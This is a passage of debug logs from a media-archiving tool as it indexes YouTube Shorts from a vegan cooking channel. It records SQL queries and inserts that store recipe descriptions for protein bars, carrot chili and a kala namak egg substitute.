coconut oil to a saucepan and let it melt on medium heat - add your nut or seed butter, pour in the maple syrup and continue to frequently stir the mixture on medium heat so that the nut butter doesn’t burn. Once your mixture has melted into a liquid, turn off the heat — Add in the vanilla extract, protein powder, cacao nibs, cranberries and hemp seeds and combine until it’s a completely uniform mixture — Once that’s done, set it aside momentarily and line a 9x9” square tin with parchment paper — carefully spoon out the nut butter mixture into the tin — Press the mixture into the tin with your wooden spoon until it’s in a smooth even layer, and set it aside — top with toasted coconut flakes + Sprinkle some flaky sea salt as an optional, but highly recommended finishing touch, and place the tin in the fridge for at least 2 hours to set — Once it’s set you can slice into whatever size of bar you like. \n\n#steamyvegankitchen #steamyvegan #thriftymeals #thriftycooking #cheapvegan #cheapveganmeals #cheaplazyvegan #whatscooking #vancitybuzz #buzzfeedfoods #vancityvegan #vancityvegans #vancity #yvrvegan #easyveganmeals", "Coconut 🥥 cranberry protein bars 💪🏻", 1, 16, false, "bVYESfxv8lU", "https://www.youtube.com/shorts/bVYESfxv8lU", "/downloads/downloads/alec/Steamy Vegan/2022-06-07 Coconut 🥥 cranberry protein bars 💪🏻/Coconut 🥥 cranberry protein bars 💪🏻 [bVYESfxv8lU].NA", true, ~U[2022-06-07 00:00:09Z]] 20:29:34.522 [debug] QUERY OK source="sources" db=0.7ms idle=45.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:34.522 [debug] QUERY OK source="media_profiles" db=0.5ms idle=7.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:34.523 [debug] QUERY OK source="media_items" db=0.6ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [783] 20:29:34.524 [debug] Current batch of media processed. Will check again in 1000ms 20:29:35.525 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "POV: Ya ever buy one of those giant 5 lb. bags of carrots, telling yourself you're going to get through them all...and then you don't 🥕🥕🥕😳\n\nReduce your #foodwaste and keep them in a container of water instead! They'll stay fresh and crunchy for WEEKS, my friends. Try it out for yourself! 😁\n\nSee all of my TOP 10 FOOD HACKS here: https://youtu.be/Iv8GO56gMXk\n\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "duration" => 54, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-06 Stop throwing out your old carrots! 🥕 🥕/Stop throwing out your old carrots! 🥕 🥕 [SojmXu86uw0].NA", "id" => "SojmXu86uw0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/SojmXu86uw0", "playlist_index" => 395, "timestamp" => 1654542013, "title" => "Stop throwing out your old carrots! 🥕 🥕", "upload_date" => "20220606"} 20:29:35.526 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=1005.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:35.527 [debug] QUERY OK source="sources" db=0.2ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:35.529 [debug] QUERY OK source="media_items" db=1.9ms idle=1004.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-06 19:00:13Z], 1] 20:29:35.531 [debug] QUERY OK source="media_items" db=1.7ms idle=1005.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["POV: Ya ever buy one of those giant 5 lb. bags of carrots, telling yourself you're going to get through them all...and then you don't 🥕🥕🥕😳\n\nReduce your #foodwaste and keep them in a container of water instead! They'll stay fresh and crunchy for WEEKS, my friends. Try it out for yourself! 😁\n\nSee all of my TOP 10 FOOD HACKS here: https://youtu.be/Iv8GO56gMXk\n\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Stop throwing out your old carrots! 🥕 🥕", "d1e6df30-d6cd-41cd-86db-55cc2a15bbd6", 1, [], 54, false, "SojmXu86uw0", "https://www.youtube.com/shorts/SojmXu86uw0", 395, "/downloads/downloads/alec/Steamy Vegan/2022-06-06 Stop throwing out your old carrots! 🥕 🥕/Stop throwing out your old carrots! 🥕 🥕 [SojmXu86uw0].NA", false, false, true, 1, ~U[2022-06-06 19:00:13Z], ~U[2026-03-22 03:29:35Z], ~U[2026-03-22 03:29:35Z], "POV: Ya ever buy one of those giant 5 lb. bags of carrots, telling yourself you're going to get through them all...and then you don't 🥕🥕🥕😳\n\nReduce your #foodwaste and keep them in a container of water instead! They'll stay fresh and crunchy for WEEKS, my friends. Try it out for yourself! 😁\n\nSee all of my TOP 10 FOOD HACKS here: https://youtu.be/Iv8GO56gMXk\n\n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Stop throwing out your old carrots! 🥕 🥕", 1, 54, false, "SojmXu86uw0", "https://www.youtube.com/shorts/SojmXu86uw0", "/downloads/downloads/alec/Steamy Vegan/2022-06-06 Stop throwing out your old carrots! 🥕 🥕/Stop throwing out your old carrots! 🥕 🥕 [SojmXu86uw0].NA", true, ~U[2022-06-06 19:00:13Z]] 20:29:35.532 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=54.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:35.534 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:35.535 [debug] QUERY OK source="media_items" db=0.6ms idle=6.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [784] 20:29:35.535 [debug] Current batch of media processed. Will check again in 1000ms 20:29:36.536 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This Pinto Bean Carrot Chilli is smoky, spicy and whips up in a pinch. It’s a great way to use up lots of carrots, and fabulous for weeknight meals as it’s fast, hearty and filling.\n\nSAVE THIS RECIPE FOR LATER! ✔️\n\nIngredients (featuring rescued veggies from my fave @pekoproduce!\n3 cups carrots (rescued!), sliced into half coins\n1 can pinto beans\n one medium yellow onion, roughly chopped\n4 cloves of garlic, minced\n2 cups of onion broth (or veg broth/water)\n1 can tomato paste\n2 teaspoons cumin\n2 teaspoons oregano\n2 teaspoons chilli powder\nSalt + pepper to taste\nOne chipotle pepper in adobo sauce finely minced\n2 tablespoons ketchup\n2 tablespoons Apple cider vinegar\n1 teaspoon liquid smoke (optional)\n\n- Sauté the onion, garlic and chipotle pepper in 1 tbsp oil (or 1/4 cup water) until soft and translucent, about 3 minutes\n- Add the spices and stir to coat, let toast for 1 minute\n- Add the pinto beans, carrots, tomato paste and broth and combine thoroughly. Cover and bring to a boil. Once bubbling, bring down to medium heat and cook for 10 minutes\n- Uncover and add the ketchup, ACV and liquid smoke and stir well. Leave uncovered and continue simmering for another 10 minutes, or until the carrots are fork tender and the sauce has thickened to your liking\n- Garnish with vegan sour cream, green onions or cilantro and enjoy!", "duration" => 15, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-06 Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨/Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨 [BGooNV_qtCw].NA", "id" => "BGooNV_qtCw", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/BGooNV_qtCw", "playlist_index" => 396, "timestamp" => 1654477207, "title" => "Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨", "upload_date" => "20220606"} 20:29:36.537 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1005.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:36.538 [debug] QUERY OK source="sources" db=0.7ms idle=1004.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:36.541 [debug] QUERY OK source="media_items" db=2.3ms idle=1004.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-06 01:00:07Z], 1] 20:29:36.542 [debug] QUERY OK source="media_items" db=1.1ms idle=1006.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This Pinto Bean Carrot Chilli is smoky, spicy and whips up in a pinch. It’s a great way to use up lots of carrots, and fabulous for weeknight meals as it’s fast, hearty and filling.\n\nSAVE THIS RECIPE FOR LATER! ✔️\n\nIngredients (featuring rescued veggies from my fave @pekoproduce!\n3 cups carrots (rescued!), sliced into half coins\n1 can pinto beans\n one medium yellow onion, roughly chopped\n4 cloves of garlic, minced\n2 cups of onion broth (or veg broth/water)\n1 can tomato paste\n2 teaspoons cumin\n2 teaspoons oregano\n2 teaspoons chilli powder\nSalt + pepper to taste\nOne chipotle pepper in adobo sauce finely minced\n2 tablespoons ketchup\n2 tablespoons Apple cider vinegar\n1 teaspoon liquid smoke (optional)\n\n- Sauté the onion, garlic and chipotle pepper in 1 tbsp oil (or 1/4 cup water) until soft and translucent, about 3 minutes\n- Add the spices and stir to coat, let toast for 1 minute\n- Add the pinto beans, carrots, tomato paste and broth and combine thoroughly. Cover and bring to a boil. Once bubbling, bring down to medium heat and cook for 10 minutes\n- Uncover and add the ketchup, ACV and liquid smoke and stir well. Leave uncovered and continue simmering for another 10 minutes, or until the carrots are fork tender and the sauce has thickened to your liking\n- Garnish with vegan sour cream, green onions or cilantro and enjoy!", "Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨", "65072b1b-199d-4d77-b998-0adc87f72ad2", 1, [], 15, false, "BGooNV_qtCw", "https://www.youtube.com/shorts/BGooNV_qtCw", 396, "/downloads/downloads/alec/Steamy Vegan/2022-06-06 Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨/Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨 [BGooNV_qtCw].NA", false, false, true, 2, ~U[2022-06-06 01:00:07Z], ~U[2026-03-22 03:29:36Z], ~U[2026-03-22 03:29:36Z], "This Pinto Bean Carrot Chilli is smoky, spicy and whips up in a pinch. It’s a great way to use up lots of carrots, and fabulous for weeknight meals as it’s fast, hearty and filling.\n\nSAVE THIS RECIPE FOR LATER! ✔️\n\nIngredients (featuring rescued veggies from my fave @pekoproduce!\n3 cups carrots (rescued!), sliced into half coins\n1 can pinto beans\n one medium yellow onion, roughly chopped\n4 cloves of garlic, minced\n2 cups of onion broth (or veg broth/water)\n1 can tomato paste\n2 teaspoons cumin\n2 teaspoons oregano\n2 teaspoons chilli powder\nSalt + pepper to taste\nOne chipotle pepper in adobo sauce finely minced\n2 tablespoons ketchup\n2 tablespoons Apple cider vinegar\n1 teaspoon liquid smoke (optional)\n\n- Sauté the onion, garlic and chipotle pepper in 1 tbsp oil (or 1/4 cup water) until soft and translucent, about 3 minutes\n- Add the spices and stir to coat, let toast for 1 minute\n- Add the pinto beans, carrots, tomato paste and broth and combine thoroughly. Cover and bring to a boil. Once bubbling, bring down to medium heat and cook for 10 minutes\n- Uncover and add the ketchup, ACV and liquid smoke and stir well. Leave uncovered and continue simmering for another 10 minutes, or until the carrots are fork tender and the sauce has thickened to your liking\n- Garnish with vegan sour cream, green onions or cilantro and enjoy!", "Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨", 1, 15, false, "BGooNV_qtCw", "https://www.youtube.com/shorts/BGooNV_qtCw", "/downloads/downloads/alec/Steamy Vegan/2022-06-06 Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨/Pinto Bean & Carrot 🥕 Chili! This one’s a smoke show 💨 [BGooNV_qtCw].NA", true, ~U[2022-06-06 01:00:07Z]] 20:29:36.543 [debug] QUERY OK source="sources" db=0.3ms idle=63.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:36.544 [debug] QUERY OK source="media_profiles" db=0.5ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:36.545 [debug] QUERY OK source="media_items" db=0.7ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [785] 20:29:36.545 [debug] Current batch of media processed. Will check again in 1000ms 20:29:37.546 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "POV: You're newly vegan and asking God how you'll ever survive without eggs 😳\n\nSee all my vegan food hacks here! ⬇️\nhttps://youtu.be/Iv8GO56gMXk\n\nKala Namak is your vegan egg HACK! 🥚 Kala Namak aka Black Salt has a strong sulphuric smell and taste (much like how cooked eggs smell) and is one of the most popular vegan tricks for making your food taste eggy! Add a tsp to your tofu scramble as it cooks plus a dash of turmeric spice for that similar eggy colour and BOOM - you've got yourself delicious vegan eggies :) \n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "duration" => 34, "filename" => "/downloads/downloads/alec/Steamy Vegan/2022-06-05 Vegan egg hack? Use KALA NAMAK! 🍳/Vegan egg hack? Use KALA NAMAK! 🍳 [jtmTHY2zkBg].NA", "id" => "jtmTHY2zkBg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/jtmTHY2zkBg", "playlist_index" => 397, "timestamp" => 1654455624, "title" => "Vegan egg hack? Use KALA NAMAK! 🍳", "upload_date" => "20220605"} 20:29:37.547 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:29:37.548 [debug] QUERY OK source="sources" db=0.5ms queue=0.6ms idle=1004.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:37.551 [debug] QUERY OK source="media_items" db=2.5ms idle=1004.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-06-05 19:00:24Z], 1] 20:29:37.553 [debug] QUERY OK source="media_items" db=1.0ms idle=1006.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["POV: You're newly vegan and asking God how you'll ever survive without eggs 😳\n\nSee all my vegan food hacks here! ⬇️\nhttps://youtu.be/Iv8GO56gMXk\n\nKala Namak is your vegan egg HACK! 🥚 Kala Namak aka Black Salt has a strong sulphuric smell and taste (much like how cooked eggs smell) and is one of the most popular vegan tricks for making your food taste eggy! Add a tsp to your tofu scramble as it cooks plus a dash of turmeric spice for that similar eggy colour and BOOM - you've got yourself delicious vegan eggies :) \n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Vegan egg hack? Use KALA NAMAK! 🍳", "3a0de3ac-419a-4de1-bf0c-6d74a047d34a", 1, [], 34, false, "jtmTHY2zkBg", "https://www.youtube.com/shorts/jtmTHY2zkBg", 397, "/downloads/downloads/alec/Steamy Vegan/2022-06-05 Vegan egg hack? Use KALA NAMAK! 🍳/Vegan egg hack? Use KALA NAMAK! 🍳 [jtmTHY2zkBg].NA", false, false, true, 0, ~U[2022-06-05 19:00:24Z], ~U[2026-03-22 03:29:37Z], ~U[2026-03-22 03:29:37Z], "POV: You're newly vegan and asking God how you'll ever survive without eggs 😳\n\nSee all my vegan food hacks here! ⬇️\nhttps://youtu.be/Iv8GO56gMXk\n\nKala Namak is your vegan egg HACK! 🥚 Kala Namak aka Black Salt has a strong sulphuric smell and taste (much like how cooked eggs smell) and is one of the most popular vegan tricks for making your food taste eggy! Add a tsp to your tofu scramble as it cooks plus a dash of turmeric spice for that similar eggy colour and BOOM - you've got yourself delicious vegan eggies :) \n\nMusic by Mark Generous - Drawing A Maze - https://thmatc.co/?l=BFC91358", "Vegan egg hack? Use KALA NAMAK! 🍳", 1, 34, false, "jtmTHY2zkBg", "https://www.youtube.com/shorts/jtmTHY2zkBg", "/downloads/downloads/alec/Steamy Vegan/2022-06-05 Vegan egg hack? Use KALA NAMAK! 🍳/Vegan egg hack? Use KALA NAMAK! 🍳 [jtmTHY2zkBg].NA", true, ~U[2022-06-05 19:00:24Z]] 20:29:37.554 [debug] QUERY OK source="sources" db=0.3ms idle=72.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:29:37.554 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.2ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:29:37.555 [debug] QUERY OK source="media_items" db=0.7ms idle=6.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [786] 20:29:37.556 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Easy Veggie + Potato 🥔 